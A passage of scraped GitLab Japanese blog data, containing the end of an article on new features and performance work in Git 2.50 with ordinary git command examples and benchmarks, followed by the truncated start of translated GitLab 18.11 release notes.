-z\n```\n\nこのように使用した場合、出力結果は`git-diff(1)`を使った場合と同じになります。\nパッチ出力を生成する専用コマンドを分けることで、\n`git-diff-tree(1)`から得られた「raw」出力を、より小さなファイルペアのバッチに分割し、それぞれを別々の\n`git-diff-pairs(1)`プロセスにフィードすることができます。これにより、差分を一度にすべてコンピューティングする必要がなくなるため、\n先に挙げたスケーラビリティの課題が解決されます。今後のGitLabリリースでは、\nこの仕組みの応用により、\n特に変更量が多い場合における差分生成のパフォーマンス向上が\n期待されます。この変更についての詳細は、該当する\n[メーリングリストのスレッド](https://lore.kernel.org/git/20250228213346.1335224-1-jltobler@gmail.com/)をご覧ください。\n\n_このプロジェクトは[Justin Tobler](https://gitlab.com/justintobler)が主導しました。_\n\n## 参照更新の一括処理\n\nGitには、参照を更新するための[`git-update-ref(1)`](https://git-scm.com/docs/git-update-ref)\nコマンドが用意されています。このコマンドを`--stdin`フラグとともに使用すると、\n複数の参照を1つのトランザクションとしてまとめて更新できます。\nこれを行うには、各参照更新の指示を標準入力（stdin）で指定します。\nこの方法で参照を一括更新すると、アトミックな動作も実現できます。つまり、1つでも参照の更新に失敗した場合、\nトランザクション全体が中断され、\nどの参照も更新されません。以下は、この動作を示す例です。\n\n```shell\n# 3つの空のコミットと「foo」という名前のブランチを持つリポジトリを作成する\n$ git init\n$ git commit --allow-empty -m 1\n$ git commit --allow-empty -m 2\n$ git commit --allow-empty -m 3\n$ git branch foo\n\n# コミットIDを出力する\n$ git rev-list HEAD\ncf469bdf5436ea1ded57670b5f5a0797f72f1afc\n5a74cd330f04b96ce0666af89682d4d7580c354c\n5a6b339a8ebffde8c0590553045403dbda831518\n\n# トランザクションで新しい参照を作成し、既存の参照を更新しようとします。\n# 指定された古いオブジェクトIDが一致しないため、更新は失敗することが予想されます。\n$ git update-ref --stdin \u003C\u003CEOF\n> create refs/heads/bar cf469bdf5436ea1ded57670b5f5a0797f72f1afc\n> update refs/heads/foo 5a6b339a8ebffde8c0590553045403dbda831518 5a74cd330f04b96ce0666af89682d4d7580c354c\n> EOF\nfatal: cannot lock ref 'refs/heads/foo': is at cf469bdf5436ea1ded57670b5f5a0797f72f1afc but expected 5a74cd330f04b96ce0666af89682d4d7580c354c\n\n# 「bar」リファレンスは作成されませんでした。\n$ git switch bar\nfatal: invalid reference: bar\n```\n\n多くの参照を個別に更新する場合と比べて、一括で更新するほうがはるかに効率的です。\nこの方法は基本的にうまく機能しますが、\n一括更新による効率面のメリットを優先するために、\nリクエストされた参照更新の一部が失敗することを許容したい場合も\nあります。\n\n今回のリリースで、`git-update-ref(1)`に新しく`--batch-updates`オプションが追加されました。\nこのオプションを使用すると、1つ以上の参照更新が失敗しても、処理を続行できるようになります。\nこのモードでは、個々の失敗が次の形式で出力されます。\n\n```text\nrejected SP (\u003Cold-oid> | \u003Cold-target>) SP (\u003Cnew-oid> | \u003Cnew-target>) SP \u003Crejection-reason> LF\n```\n\nこれにより、成功した参照の更新はそのまま進行しつつ、どの更新が拒否されたのか、\nまたその理由についての情報も得ることができます。前の例と同じリポジトリを\n使った例は以下のとおりです。\n\n```shell\n# トランザクションで新しい参照を作成し、既存の参照を更新しようとします。\n$ git update-ref --stdin --batch-updates \u003C\u003CEOF\n> create refs/heads/bar cf469bdf5436ea1ded57670b5f5a0797f72f1afc\n> update refs/heads/foo 5a6b339a8ebffde8c0590553045403dbda831518 5a74cd330f04b96ce0666af89682d4d7580c354c\n> EOF\nrejected refs/heads/foo 5a6b339a8ebffde8c0590553045403dbda831518 5a74cd330f04b96ce0666af89682d4d7580c354c incorrect old value provided\n\n# 「foo」への更新が拒否されたにもかかわらず、「bar」参照が作成されました。\n$ git switch bar\nSwitched to branch 'bar'\n```\n\n今回は`--batch-updates`オプションを使用したことで、\n更新処理が失敗しても参照の作成は成功しました。この一連のパッチは、\n`git-fetch(1)`や`git-receive-pack(1)`における今後の一括参照更新時の\nパフォーマンス改善の基盤となります。詳細については、該当する\n[メーリングリストのスレッド](https://lore.kernel.org/git/20250408085120.614893-1-karthik.188@gmail.com/)をご覧ください。\n\n_このプロジェクトは、[Karthik Nayak](https://gitlab.com/knayakgl)が主導しました。_\n\n## git-cat-file(1)の新しいフィルタオプション\n\n[`git-cat-file(1)`](https://git-scm.com/docs/git-cat-file)を使うと、\nリポジトリ内に含まれるすべてのオブジェクトの情報を\n`--batch–all-objects`オプションで出力できます。たとえば、以下のように実行します。\n\n```shell\n# シンプルなリポジトリを設定します。\n$ git init\n$ echo foo >foo\n$ git add foo\n$ git commit -m init\n\n# 到達不能なオブジェクトを作成します。\n$ git commit --amend --no-edit\n\n# git-cat-file(1)を使用して、到達不能なオブジェクトを含むすべてのオブジェクトに関する情報を出力します。\n$ git cat-file --batch-all-objects --batch-check='%(objecttype) %(objectname)'\ncommit 0b07e71d14897f218f23d9a6e39605b466454ece\ntree 205f6b799e7d5c2524468ca006a0131aa57ecce7\nblob 257cc5642cb1a054f08cc83f2d943e56fd3ebe99\ncommit c999f781fd7214b3caab82f560ffd079ddad0115\n```\n\n状況によっては、リポジトリ内のすべてのオブジェクトを検索し、\n特定の属性に基づいて一部のオブジェクトだけを出力したい場合があります。\nたとえば、コミットオブジェクトだけを表示したいときは、\n`grep(1)`を使って以下のように実行できます。\n\n```shell\n$ git cat-file --batch-all-objects --batch-check='%(objecttype) %(objectname)' | grep ^commit\ncommit 0b07e71d14897f218f23d9a6e39605b466454ece\ncommit c999f781fd7214b3caab82f560ffd079ddad0115\n```\n\nこの方法でも目的は達成できますが、出力のフィルタリングには欠点があります。\nそれは、`git-cat-file(1)`が\nユーザーが関心を持っていないオブジェクトも含め、リポジトリ内のすべてのオブジェクトをたどらなければならない点です。これはかなり非効率です。\n\n今回のリリースでは、`git-cat-file(1)`に`--filter`オプションが追加され、\n指定した条件に一致するオブジェクトだけを表示できるようになりました。これは`git-rev-list(1)`にある同名のオプションと似ていますが、\n対応しているフィルターの種類はその一部に限られています。\n対応しているフィルターは`blob:none`、`blob:limit=`および\n`object:type=`です。先ほどの例と同様に、オブジェクトはGitを使用して直接\n種類でフィルタリングできます。\n\n```shell\n$ git cat-file --batch-all-objects --batch-check='%(objecttype) %(objectname)' --filter='object:type=commit'\ncommit 0b07e71d14897f218f23d9a6e39605b466454ece\ncommit c999f781fd7214b3caab82f560ffd079ddad0115\n```\n\nGitに処理を任せられるのは便利なだけでなく、オブジェクト数の多い大規模なリポジトリにおいては\n効率面のメリットも期待できます。\nリポジトリにビットマップインデックスがある場合、\nGitが特定の種類のオブジェクトを効率的に検索できるようになり、パックファイル全体をスキャンする必要がなくなるため、\n処理速度が大幅に向上します。\n[Chromiumリポジトリ](https://github.com/chromium/chromium.git)で行われた\nベンチマークでは、こうした最適化による大きな改善が確認されています。\n\n```text\nBenchmark 1: git cat-file --batch-check --batch-all-objects --unordered --buffer --no-filter Time (mean ± σ):     82.806 s ±  6.363 s    [User: 30.956 s, System: 8.264 s] Range (min … max):   73.936 s … 89.690 s    10 runs\nBenchmark 2: git cat-file --batch-check --batch-all-objects --unordered --buffer --filter=object:type=tag Time (mean ± σ):      20.8 ms ±   1.3 ms    [User: 6.1 ms, System: 14.5 ms] Range (min … max):    18.2 ms …  23.6 ms    127 runs\nBenchmark 3: git cat-file --batch-check --batch-all-objects --unordered --buffer --filter=object:type=commit Time (mean ± σ):      1.551 s ±  0.008 s    [User: 1.401 s, System: 0.147 s] Range (min … max):    1.541 s …  1.566 s    10 runs\nBenchmark 4: git cat-file --batch-check --batch-all-objects --unordered --buffer --filter=object:type=tree Time (mean ± σ):     11.169 s ±  0.046 s    [User: 10.076 s, System: 1.063 s] Range (min … max):   11.114 s … 11.245 s    10 runs\nBenchmark 5: git cat-file --batch-check --batch-all-objects --unordered --buffer --filter=object:type=blob Time (mean ± σ):     67.342 s ±  3.368 s    [User: 20.318 s, System: 7.787 s] Range (min … max):   62.836 s … 73.618 s    10 runs\nBenchmark 6: git cat-file --batch-check --batch-all-objects --unordered --buffer --filter=blob:none Time (mean ± σ):     13.032 s ±  0.072 s    [User: 11.638 s, System: 1.368 s] Range (min … max):   12.960 s … 13.199 s    10 runs\nSummary git cat-file --batch-check --batch-all-objects --unordered --buffer --filter=object:type=tag 74.75 ± 4.61 times faster than git cat-file --batch-check --batch-all-objects --unordered --buffer --filter=object:type=commit 538.17 ± 33.17 times faster than git cat-file --batch-check --batch-all-objects --unordered --buffer --filter=object:type=tree 627.98 ± 38.77 times faster than git cat-file --batch-check --batch-all-objects --unordered --buffer --filter=blob:none 3244.93 ± 257.23 times faster than git cat-file --batch-check --batch-all-objects --unordered --buffer --filter=object:type=blob 3990.07 ± 392.72 times faster than git cat-file --batch-check --batch-all-objects --unordered --buffer --no-filter ```\n\n興味深いことに、これらの結果からは、処理時間がパックファイル内の総オブジェクト数ではなく、\n指定された種類のオブジェクト数に比例して増減することが示されています。\n元のメーリングリストのスレッドは、\n[こちら](https://lore.kernel.org/git/20250221-pks-cat-file-object-type-filter-v1-0-0852530888e2@pks.im/)でご覧いただけます。\n\n_このプロジェクトは[Patrick Steinhardt](https://gitlab.com/pks-gitlab)が主導しました。_\n\n## バンドル生成時のパフォーマンスが向上\n\nGitには、指定した参照とそれに関連する到達可能なオブジェクトを含むリポジトリのアーカイブを生成する機能があります。\n具体的には、\n[`git-bundle(1)`](https://git-scm.com/docs/git-bundle)コマンドを使用します。この操作は、\nGitLabがリポジトリのバックアップを作成する際や、\n[バンドルURI](https://git-scm.com/docs/bundle-uri)メカニズムの一部としても使用されます。\n\n何百万もの参照を含む大規模なリポジトリでは、\nこの操作に数時間から数日かかることもあります。たとえば、GitLabのメインリポジトリ\n（[gitlab-org/gitlab](https://gitlab.com/gitlab-org/gitlab)）では、\nバックアップに約48時間を要していました。調査の結果、バンドルに重複した参照が含まれないようにチェックする処理において、\nパフォーマンスのボトルネックが存在することが判明しました。\nこの実装では、すべての参照をイテレーションして比較するために入れ子の`for`loopが使われており、\n時間計算量はO(N^2)となっていました。これは、\nリポジトリ内の参照数が増えるほど、処理性能が大きく低下する構造です。\n\n今回のリリースでは、この問題に対応し、\nネストされたloopをマップ型のデータ構造に置き換えることで、処理速度が大幅に向上しました。以下は、\n10万件の参照を含むリポジトリでバンドルを作成した際のパフォーマンス改善を\n示すベンチマーク結果です。\n\n```text\nBenchmark 1: bundle (refcount = 100000, revision = master) Time (mean ± σ):     14.653 s ±  0.203 s    [User: 13.940 s, System: 0.762 s] Range (min … max):   14.237 s … 14.920 s    10 runs\nBenchmark 2: bundle (refcount = 100000, revision = HEAD) Time (mean ± σ):      2.394 s ±  0.023 s    [User: 1.684 s, System: 0.798 s] Range (min … max):    2.364 s …  2.425 s    10 runs\nSummary bundle (refcount = 100000, revision = HEAD) ran 6.12 ± 0.10 times faster than bundle (refcount = 100000, revision = master) ```\n\n詳しくは、\n[GitLabがリポジトリのバックアップ時間を48時間から41分に短縮した方法](https://about.gitlab.com/blog/how-we-decreased-gitlab-repo-backup-times-from-48-hours-to-41-minutes/)を紹介するブログ記事をご覧ください。\n元のメーリングリストのスレッドは\n[こちら](https://lore.kernel.org/git/20250401-488-generating-bundles-with-many-references-has-non-linear-performance-v1-0-6d23b2d96557@gmail.com/)でご覧いただけます。\n\n_このプロジェクトは[Karthik Nayak](https://gitlab.com/knayakgl)が主導しました。_\n\n## バンドルURIのアンバンドルの改善\n\nGitの[バンドルURI](https://git-scm.com/docs/bundle-uri)メカニズムは、\nフェッチするバンドルの場所をクライアントに提供することで、クローンやフェッチの速度を\n向上させることを目的としています。クライアントがバンドルをダウンロードすると、\n`refs/heads/*`以下の参照が、その関連オブジェクトとともにバンドルから\nリポジトリにコピーされます。バンドルには`refs/tags/*`のように\n`refs/heads/*`以外の参照も含まれていることがありますが、\nこれらはクローン時にバンドルURIを使用する場合、単に無視されていました。\n\nGit 2.50ではこの制限が解除され、\nダウンロードされたバンドルに含まれる`refs/*`に一致するすべての参照がコピーされるようになりました。\nこの機能を実装した[Scott Chacon](https://github.com/schacon)さんは、\n[gitlab-org/gitlab-foss](https://gitlab.com/gitlab-org/gitlab-foss)をクローンした際の\n挙動の違いを紹介しています。\n\n```shell\n$ git-v2.49 clone --bundle-uri=gitlab-base.bundle https://gitlab.com/gitlab-org/gitlab-foss.git gl-2.49\nCloning into 'gl2.49'...\nremote: Enumerating objects: 1092703, done.\nremote: Counting objects: 100% (973405/973405), done.\nremote: Compressing objects: 100% (385827/385827), done.\nremote: Total 959773 (delta 710976), reused 766809 (delta 554276), pack-reused 0 (from 0)\nReceiving objects: 100% (959773/959773), 366.94 MiB | 20.87 MiB/s, done.\nResolving deltas: 100% (710976/710976), completed with 9081 local objects.\nChecking objects: 100% (4194304/4194304), done.\nChecking connectivity: 959668, done.\nUpdating files: 100% (59972/59972), done.\n\n$ git-v2.50 clone --bundle-uri=gitlab-base.bundle https://gitlab.com/gitlab-org/gitlab-foss.git gl-2.50\nCloning into 'gl-2.50'...\nremote: Enumerating objects: 65538, done.\nremote: Counting objects: 100% (56054/56054), done.\nremote: Compressing objects: 100% (28950/28950), done.\nremote: Total 43877 (delta 27401), reused 25170 (delta 13546), pack-reused 0 (from 0)\nReceiving objects: 100% (43877/43877), 40.42 MiB | 22.27 MiB/s, done.\nResolving deltas: 100% (27401/27401), completed with 8564 local objects.\nUpdating files: 100% (59972/59972), done.\n```\n\nこれらの結果を比較すると、Git 2.50はバンドル展開後に43,887個（40.42 MiB）のオブジェクトをフェッチしているのに対し、\nGit 2.49は合計で959,773個（366.94 MiB）のオブジェクトをフェッチしています。\nGit 2.50では、取得されるオブジェクト数が約95%、\nデータ量が約90%削減されており、クライアントとサーバーの双方にとってメリットがあります。\nサーバー側ではクライアントに送信するデータ量が大幅に減り、\nクライアント側でもダウンロードおよび展開するデータが少なくて済みます。Chaconさんの提供した例では、\nこれによって処理速度が25%向上しました。\n\n詳細については、\n該当する[メーリングリストのスレッド](https://lore.kernel.org/git/pull.1897.git.git.1740489585344.gitgitgadget@gmail.com/)をご覧ください。\n\n_この一連のパッチは、[Scott Chacon](https://github.com/schacon)さんによって提供されました。_\n\n## 詳細はこちら\n\n本記事でご紹介したのは、最新リリースにおいてGitLabと広範なGitコミュニティによって行われた\nコントリビュートのごく一部にすぎません。Gitプロジェクトの[公式リリースのお知らせ](https://lore.kernel.org/git/xmqq1prj1umb.fsf@gitster.g/)では、\nさらに詳しい情報をご覧になれます。また、\n[以前のGitリリースのブログ記事](https://about.gitlab.com/blog/tags/git/)もぜひご覧ください。GitLabチームメンバーによる過去の主なコントリビュートをご確認いただけます。\n","2025-06-16",[993,1082,242],{"featured":13,"template":796,"slug":1096},"what-s-new-in-git-2-50-0",{"category":70,"slug":745,"posts":1098},[1099,1109,1119],{"content":1100,"config":1107},{"heroImage":1101,"body":1102,"authors":1103,"updatedDate":876,"date":877,"title":1104,"tags":1105,"description":1106,"category":745},"https://res.cloudinary.com/about-gitlab-com/image/upload/v1776259080/cakqnwo5ecp255lo8lzo.png","本ブログは、[GitLab 18.11 release notes](https://docs.gitlab.com/releases/18/gitlab-18-11-released/)の抄訳です。内容に相違がある場合は、原文が優先されます。\n\n# GitLab 18.11リリースノート\n\n2026年4月16日、GitLab 18.11が以下の機能とともにリリースされました。\n\nまた、すべてのコントリビューターの皆さまに感謝申し上げます。今月の注目コントリビューターもご紹介します。\n\n## 今月の注目コントリビューター：Rinku Cさん\n\n[Rinku C](https://gitlab.com/therealrinku)さんは、2025年9月の参加以降、GitLab全体で80件以上の改善をマージしたレベル4コントリビューターです。\n\nDeveloper Relationsチームのシニアフルスタックエンジニア、[Arianna Haradon](https://gitlab.com/aharadon)さんの推薦により、今回の表彰が実現しました。この賞は、長期にわたるRinkuさんの持続的かつ意義あるインパクトを称えるものです。Rinkuさんは、[プロジェクトおよびグループアクセストークンの作成フォームにスコープを必須とする](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/219236)ことでセキュリティに敏感なフローを強化し、[ジョブログのnext/previousナビゲーション](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/217618)、[空の検索を最近の検索から除外する改善](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/223570)、[ファイルツリーの整理](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/224628)など、日常的なGitLab体験を向上させる数多くのアップデートを行いました。これらはすべて、一般的なワークフローをより明確で使いやすくするためのUIの改善です。Rinkuさんは、誰も手を付けないような作業にも積極的に取り組み、コードベースの健全性を保ち、意義ある持続的な価値をもたらしています。コントリビュートに感謝します！\n\n- - -\n\n## 主要な機能\n\n### 脆弱性修正がGitLab Duo Agent Platformで一般提供開始\n\n* **利用可能プラン：** Ultimate\n* **提供形態：** GitLab Self-Managed、GitLab.com、GitLab Dedicated\n* **リンク：** [ドキュメント](https://docs.gitlab.com/ja-jp/user/application_security/vulnerabilities/agentic_vulnerability_resolution/) | [関連イシュー](https://gitlab.com/gitlab-org/gitlab/-/work_items/585626)\n\nエージェント型SASTの脆弱性修正機能が、GitLab 18.11のGitLab Duo Agent Platformで一般提供開始（GA）となりました。SASTスキャンの一環として、SAST誤検知の検出後、または個別のSAST脆弱性に対して手動でトリガーした場合に実行されます。\n\nエージェント型SAST脆弱性修正の特長：\n\n* 検出内容を自律的に分析し、周辺のコードコンテキストを推論します。\n* 重大度が「重大」および「高」のSAST脆弱性に対して、提案されたコード修正を含むレビュー可能なマージリクエストを自動作成します。\n* 品質評価を提供し、レビュアーが提案された修正に対する信頼度を素早く把握できます。\n* 脆弱性詳細ページから直接修正を適用できます。\n\nフィードバックは[イシュー585626](https://gitlab.com/gitlab-org/gitlab/-/issues/585626)にてお待ちしています。\n\n### GitLabデータ分析基本エージェントが一般提供開始\n\n* **利用可能プラン：** Free、Premium、Ultimate\n* **提供形態：** GitLab Self-Managed、GitLab.com、GitLab Dedicated\n* **リンク：** [ドキュメント](https://docs.gitlab.com/ja-jp/user/duo_agent_platform/agents/foundational_agents/data_analyst/) | [関連エピック](https://gitlab.com/groups/gitlab-org/-/work_items/20337)\n\nデータ分析エージェントはAIチャットアシスタントで、GitLabプラットフォーム全体のデータをクエリ、可視化し、インサイトを導き出せます。\n\n[GitLab Query Language（GLQL）](https://docs.gitlab.com/ja-jp/user/glql)を基盤として、サポート対象の[データソース](https://docs.gitlab.com/ja-jp/user/glql/data_sources/)に関するデータを取得・分析し、ソフトウェア開発の健全性やエンジニアリング効率について明確で実用的なインサイトを提供します。\n\nこれらのインサイトはエージェントの出力内で直接可視化でき、イシューやエピックに埋め込んでさらに評価できます。\n\n### CIエキスパートエージェントがベータ版として公開\n\n* **利用可能プラン：** Free、Premium、Ultimate\n* **提供形態：** GitLab Self-Managed、GitLab.com、GitLab Dedicated、GitLab Dedicated for Government\n* **リンク：** [ドキュメント](https://docs.gitlab.com/ja-jp/user/duo_agent_platform/agents/foundational_agents/ci_expert_agent/) | [関連イシュー](https://gitlab.com/gitlab-org/gitlab/-/work_items/587460)\n\nAIを活用したCIエキスパートエージェントがベータ版として利用可能になりました。このエージェントは、空の`.gitlab-ci.yml`からではなく、GitLab上のコードを基に、最初の動作するパイプラインを作れるよう支援します。\n\nGitLab Duo Agent Platformを使用してリポジトリを検査した後、ビルドやテストプロセスについていくつかのガイド付き質問を行います。その結果をもとに、レビュー・編集・コミットが可能なすぐに実行できるパイプラインを生成します。\n\nパイプラインの作成が会話形式のコンテキストに沿った体験になると同時に、YAMLを本格的に調整・最適化したい段階になれば、すべてを自分で制御できます。\n\n### 脆弱性の重大度が自動オーバーライド可能に\n\n* **利用可能プラン：** Ultimate\n* **提供形態：** GitLab Self-Managed、GitLab.com、GitLab Dedicated、GitLab Dedicated for Government\n* **リンク：** [ドキュメント](https://docs.gitlab.com/ja-jp/user/application_security/policies/vulnerability_management_policy/#severity-override-policies) | [関連エピック](https://gitlab.com/groups/gitlab-org/-/epics/15839)\n\n脆弱性のデフォルト重大度は、必ずしも組織の実際のリスクを反映しているわけではありません。たとえば、内部専用サービスにおける重大なCVEが、公開アプリケーションと同じ緊急度で対応すべきとは限りません。それにもかかわらず、チームは自社のリスクモデルに合わない検出結果のトリアージに多くの時間を費やしています。\n\n脆弱性管理ポリシーにより、CVE ID、CWE ID、ファイルパス、ディレクトリなどの条件に基づいて脆弱性の重大度を自動調整できるようになりました。ポリシーが適用されると、デフォルトブランチ上の条件に一致する脆弱性の重大度が更新されます。手動によるオーバーライドは引き続き優先され、すべての変更は脆弱性の履歴と監査イベントに記録されます。\n\nトリアージ作業を削減し、ビジネスにとって最も重要な検出結果にデベロッパーが集中できるようにします。\n\n### サブグループおよびプロジェクトでサービスアカウントの作成が可能に\n\n* **利用可能プラン：** Free、Premium、Ultimate\n* **提供形態：** GitLab Self-Managed、GitLab.com、GitLab Dedicated、GitLab Dedicated for Government\n* **リンク：** [ドキュメント](https://docs.gitlab.com/ja-jp/user/profile/service_accounts/) | [関連エピック](https://gitlab.com/groups/gitlab-org/-/work_items/17754)\n\nサブグループおよびプロジェクトでサービスアカウントを作成できるようになりました。トップレベルグループの広範なボットの代わりに、単一のサブグループまたはプロジェクトに専用のサービスアカウントを関連付け、そのネームスペースの他のメンバーと同様にアクセスを管理できます。グループおよびサブグループのサービスアカウントは、作成されたグループまたはその配下のサブグループやプロジェクトに招待できます。プロジェクトサービスアカウントは、そのプロジェクト内に限定されます。\n\n### サービスアカウントがGitLab Freeで利用可能に\n\n* **利用可能プラン：** Free、Premium、Ultimate\n* **提供形態：** GitLab Self-Managed、GitLab.com、GitLab Dedicated、GitLab Dedicated for Government\n* **リンク：** [ドキュメント](https://docs.gitlab.com/ja-jp/user/profile/service_accounts/) | [関連エピック](https://gitlab.com/groups/gitlab-org/-/work_items/20439)\n\nサービスアカウントがGitLab.comのすべてのプランで利用可能になりました。以前はPremiumおよびUltimateに限定されていたサービスアカウントにより、個々のチームメンバーに認証情報を紐付けることなく、自動化されたアクション、データアクセス、スケジュール処理を実行できます。チームの変更に関係なく認証情報を安定的に維持する必要があるパイプラインやサードパーティのインテグレーションで広く使用されています。GitLab Freeでは、トップレベルグループごとに最大100個のサービスアカウント（サブグループやプロジェクトで作成されたものを含む）を作成できます。\n\n### **詳細制限付き**パーソナルアクセストークンが利用可能に（ベータ版）\n\n* **利用可能プラン：** Free、Premium、Ultimate\n* **提供形態：** GitLab Self-Managed、GitLab.com、GitLab Dedicated、GitLab Dedicated for Government\n* **リンク：** [ドキュメント](https://docs.gitlab.com/ja-jp/auth/tokens/fine_grained_access_tokens/) | [関連エピック](https://gitlab.com/groups/gitlab-org/-/work_items/18555)\n\n詳細権限付きパーソナルアクセストークン（PAT）がベータ版として利用可能になりました。従来のPATはユーザーが所属するすべてのプロジェクトとグループへのアクセスを付与しますが、詳細権限付きPATでは各トークンのアクセス先を特定のリソースやアクションに絞り込めます。万が一トークンが漏洩・侵害された場合の影響範囲を大幅に縮小できます。\n\n既存のPATはこれまでどおり動作し、詳細権限なしのレガシーPATも引き続き作成できます。\n\n今回のベータリリースではGitLab REST APIの約75%をカバーしています。REST APIの完全なカバレッジ、GraphQLの適用、管理者によるポリシーコントロールはGAリリースで対応予定です。\n\nフィードバックは[エピック18555](https://gitlab.com/groups/gitlab-org/-/epics/18555)にてお待ちしています。\n\n### セキュリティダッシュボードにトップCWEチャートを追加\n\n* **利用可能プラン：** Ultimate\n* **提供形態：** GitLab Self-Managed、GitLab.com、GitLab Dedicated、GitLab Dedicated for Government\n* **リンク：** [ドキュメント](https://docs.gitlab.com/ja-jp/user/application_security/security_dashboard/#top-10-cwes) | [関連エピック](https://gitlab.com/groups/gitlab-org/-/epics/17422)\n\n新しいセキュリティダッシュボードでトップCWEチャートが利用可能になりました。プロジェクトまたはインスタンス全体で最も一般的なCWEを特定し、トレーニング、改善、プログラムの最適化の機会を見つけられます。ダッシュボードデータを重大度別にグループ化したり、重大度、プロジェクト、レポートタイプでフィルタリングできます。\n\n### KubernetesへのGitalyデプロイ\n\n* **利用可能プラン：** Free、Premium、Ultimate\n* **提供形態：** GitLab Self-Managed、GitLab Dedicated、GitLab Dedicated for Government\n* **リンク：** [ドキュメント](https://docs.gitlab.com/ja-jp/administration/gitaly/kubernetes/) | [関連イシュー](https://gitlab.com/groups/gitlab-org/-/work_items/6127)\n\n完全にサポートされたデプロイ方法として、Kubernetes上にGitalyをデプロイできるようになりました。Kubernetesのオーケストレーション機能を活用したスケーリング、高可用性、リソース管理により、GitLabインフラストラクチャの管理の柔軟性が向上します。以前は、Kubernetesへのデプロイにはカスタム構成が必要で公式サポートがなかったため、コンテナ化された環境で信頼性の高いGitalyクラスターを維持することが困難でした。\n\n### マージリクエストパイプラインの手動実行時にインプットを再設定可能に\n\n* **利用可能プラン：** Free、Premium、Ultimate\n* **提供形態：** GitLab Self-Managed、GitLab.com、GitLab Dedicated、GitLab Dedicated for Government\n* **リンク：** [ドキュメント](https://docs.gitlab.com/ja-jp/ci/pipelines/merge_request_pipelines/#run-a-merge-request-pipeline-with-custom-inputs) | [関連イシュー](https://gitlab.com/gitlab-org/gitlab/-/work_items/547861)\n\nCI/CDインプットを使うと、パイプラインの実行時にパラメータ値を変更して動作をカスタマイズできます。これまでこの機能はマージリクエスト（MR）パイプラインでは利用できませんでしたが、今回のリリースでMRパイプラインにも対応しました。\n\nMRパイプライン向けにインプットを設定した後、マージリクエストの新しいパイプラインを実行するたびに、インプットを変更してパイプラインの動作を変更できます。\n\n- - -\n\n## Agent Platformの中核機能\n\n### GitLab Duo Agentic Chatのデフォルトモデルがhaiku 4.5からSonnet 4.6に更新\n\n* **利用可能プラン：** Premium、Ultimate\n* **提供形態：** GitLab Self-Managed、GitLab.com、GitLab Dedicated\n* **リンク：** [ドキュメント](https://docs.gitlab.com/ja-jp/user/duo_agent_platform/model_selection/#default-models) | [関連イシュー](https://gitlab.com/gitlab-org/gitlab/-/work_items/595042)\n\nGitLabのAgentic Chat体験を向上させるアップデートを行いました。Agentic ChatのデフォルトモデルがVertex AIでホストされるClaude Haiku 4.5からClaude Sonnet 4.6にアップグレードされました。Claude Sonnet 4.6は推論と応答品質が向上していますが、Haiku 4.5と比べてGitLabクレジット消費量が多くなります。\n\n[モデル選択](https://docs.gitlab.com/ja-jp/user/duo_agent_platform/model_selection/#select-a-model-for-a-feature)設定から、Haikuを含む代替モデルを選択できます。すでに特定のモデルを選択している場合、その選択は維持されます。このアップデートはデフォルトのみに影響し、既存の選択を上書きしません。モデルごとのクレジット消費量の詳細については、[GitLabクレジットのドキュメント](https://docs.gitlab.com/ja-jp/subscriptions/gitlab_credits/)をご確認ください。\n\n### カスタムフロー定義でツールを設定可能に\n\n* **利用可能プラン：** Free、Premium、Ultimate\n* **提供形態：** GitLab Self-Managed、GitLab.com、GitLab Dedicated、GitLab Dedicated for Government\n* **リンク：** [ドキュメント](https://docs.gitlab.com/ja-jp/user/duo_agent_platform/flows/custom/#create-a-flow) | [関連イシュー](https://gitlab.com/gitlab-org/modelops/applied-ml/code-suggestions/ai-assist/-/work_items/2147)\n\nカスタムフロー定義内でツールオプションとパラメータ値を直接設定し、LLMのデフォルト値を上書きできるようになりました。カスタムフロー内でのツールの動作をより正確かつ一貫して制御でき、ガードレールや特定のパラメータ値の適用が容易になります。\n\n### Mistral AIがGitLab Duo Agent Platformのセルフホストモデルとして利用可能に\n\n* **利用可能プラン：** Premium、Ultimate\n* **提供形態：** GitLab Self-Managed\n* **リンク：** [ドキュメント](https://docs.gitlab.com/ja-jp/administration/gitlab_duo_self_hosted/supported_llm_serving_platforms/#cloud-hosted-model-deployments) | [関連イシュー](https://gitlab.com/gitlab-org/gitlab/-/work_items/587872)\n\nGitLab Duo Agent Platformが、セルフホストモデルデプロイ向けのLLMプラットフォームとしてMistral AIをサポートしました。GitLab Self-Managedをご利用のお客様は、既存のサポート対象プラットフォーム（AWS Bedrock、Google Vertex AI、Azure OpenAI、Anthropic、OpenAI）と並行してMistral AIを設定できます。AI機能の運用方法の選択肢がさらに広がりました。\n\n- - -\n\n## スケールとデプロイ\n\n### GitLabクレジットダッシュボードで過去の月を表示可能に\n\n* **利用可能プラン：** Premium、Ultimate\n* **提供形態：** GitLab Self-Managed、GitLab.com、GitLab Dedicated、GitLab Dedicated for Government\n* **リンク：** [ドキュメント](https://docs.gitlab.com/ja-jp/subscriptions/gitlab_credits/#view-credit-usage-details) | [関連イシュー](https://gitlab.com/gitlab-org/gitlab/-/work_items/590843)\n\nカスタマーポータルのGitLabクレジットダッシュボードで、過去の請求月を遡って確認できるようになりました。請求管理者は日々の使用状況の推移や期間ごとの消費パターンを比較し、請求書の内容と照らし合わせて確認できます。以前はダッシュボードに当月の請求月のみが表示されていました。この改善により、管理者はクレジット配分についてより的確な判断を行い、過去のデータに基づいて将来のニーズを予測できます。\n\n### GitLabクレジットのサブスクリプションレベル使用量上限の設定\n\n* **利用可能プラン：** Premium、Ultimate\n* **提供形態：** GitLab Self-Managed、GitLab.com、GitLab Dedicated、GitLab Dedicated for Government\n* **リンク：** [ドキュメント](https://docs.gitlab.com/ja-jp/subscriptions/gitlab_credits/#set-a-monthly-usage-cap-for-on-demand-credits)\n\n管理者がサブスクリプションレベルでオンデマンドクレジットの月間使用量上限を設定できるようになりました。オンデマンドクレジットの消費総量が設定された上限に達すると、そのサブスクリプションのすべてのユーザーに対してGitLab Duo Agent Platformへのアクセスが自動的に一時停止され、次の請求期間の開始時または管理者が上限を調整するまで継続されます。この設定により、予期しない超過料金に対する確実なガードレールを提供し、Agent Platformのより広範な展開における主要な障壁を取り除きます。上限は請求期間ごとに自動的にリセットされ、管理者には上限到達時にメール通知が送信されます。\n\n### ユーザーごとのGitLabクレジット上限の設定\n\n* **利用可能プラン：** Premium、Ultimate\n* **提供形態：** GitLab 